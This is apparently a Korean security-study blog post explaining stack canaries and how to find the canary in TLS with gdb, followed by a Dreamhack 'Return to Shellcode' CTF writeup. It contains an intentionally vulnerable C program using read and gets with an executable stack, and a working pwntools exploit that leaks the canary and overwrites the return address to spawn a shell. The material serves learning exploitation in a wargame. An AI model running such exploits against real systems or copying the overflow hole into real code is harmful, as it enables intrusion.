본문 바로가기

System (Pwnable)

스택 카나리(Stack Canary) 설명 및 카나리 우회방안(Return to Shellcode Writeup)

반응형

스택 카나리(Stack Canary) 설명 및 카나리 우회방안(Return to Shellcode Writeup)

1.스택 카나리(Stack Canary)

- 함수의 프롤로그에서 스택 버퍼와 반환 주소 사이에서 임의의 값을 삽입한다.
- 이 값을 함수의 에필로그에서 해당 값의 변조를 확인(fs+0x28값과 현재 값을 XOR)
- 카나리의 값은 TLS에 전역변수로 저장된다.

 

 

2. TLS의 주소 파악

- fs의 값을 알면 TLS의 주소를 알 수 있고, fs의 값은 특정 시스템 콜에서만 조회가 가능
- arch_prctl(ARCH_SET_FS, addr)의 형태로 호출하면 fs의 값은 addr로 설정된다.
- gdb 명령어 중 catch 명령어로 arch_prctl이 호출될 때를 잡아서 확인(info register $rsi) => TLS 주소


3. 카나리 값 설정

- gdb 명령어 중 watch 명령어를 사용하여 프로세스 중단(watch *(0xTLS주소+0x28)) => watch *(0x7ffff7d7f740+0x28)
- x/gx 0x7ffff7d7f740+0x28 로 카나리 값을 확인

 

 

4. 스택 카나리 우회방안

Canary를 다루게 된다면 Random Canary를 가장 많이 사용됨. 그래서 보통 canary값을 구하는 Canary Leak방법을 가장 많이 이용함

 


Exploit (Return to Shellcode Writeup)

1) 정보확인

보호기법 확인

checksec r2s

 

코드확인

- read, gets 두 곳에서 bof 가능한 것을 확인

- rbp와 buf의 주소 차이를 알려줌

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

 

 


 

 

from pwn import *

def slag(n, m): return success(': '.join([n, hex(m)]))

r = remote('host1.dreamhack.games', 14757)
context.arch = 'amd64'

r.recvuntil('buf: ')
buf = int(r.recv(14), 16)
buf_size = 0x60
buf_canary = buf_size - 0x08

# Leaked Canary
payload = b'A' * (buf_canary + 1)
r.sendafter(b'Input: ', payload)

r.recvuntil(payload)
#지정된 바이트 수(n)만큼 데이터를 수신하는 데 사용됩니다. 이 메서드는 네트워크 소켓에서 데이터를 읽을 때 유용합니다. 
# recv()와의 주요 차이점은 recv()가 수신할 바이트 수의 최대치를 지정
canary = u64(b'\x00' + r.recvn(7))
slag('canary', canary)

# Exploit

sh = asm(shellcraft.sh())
payload = sh.ljust(buf_canary, b'A') + p64(canary)
payload += b'B'*0x08 + p64(buf)

r.sendlineafter(b'Input: ', payload)

r.interactive()

 

728x90

'System (Pwnable)' 카테고리의 다른 글

NX 및 ASLR 우회방안 - PLT GOT 설명  (0) 2025.03.06
Dreamhack ssp_001 Writeup  (0) 2025.03.06
basic_exploitation_001 Writeup  (0) 2025.03.04
basic_exploitation_001 Writeup  (0) 2025.03.04
basic_exploitation_000 writeup  (0) 2025.03.02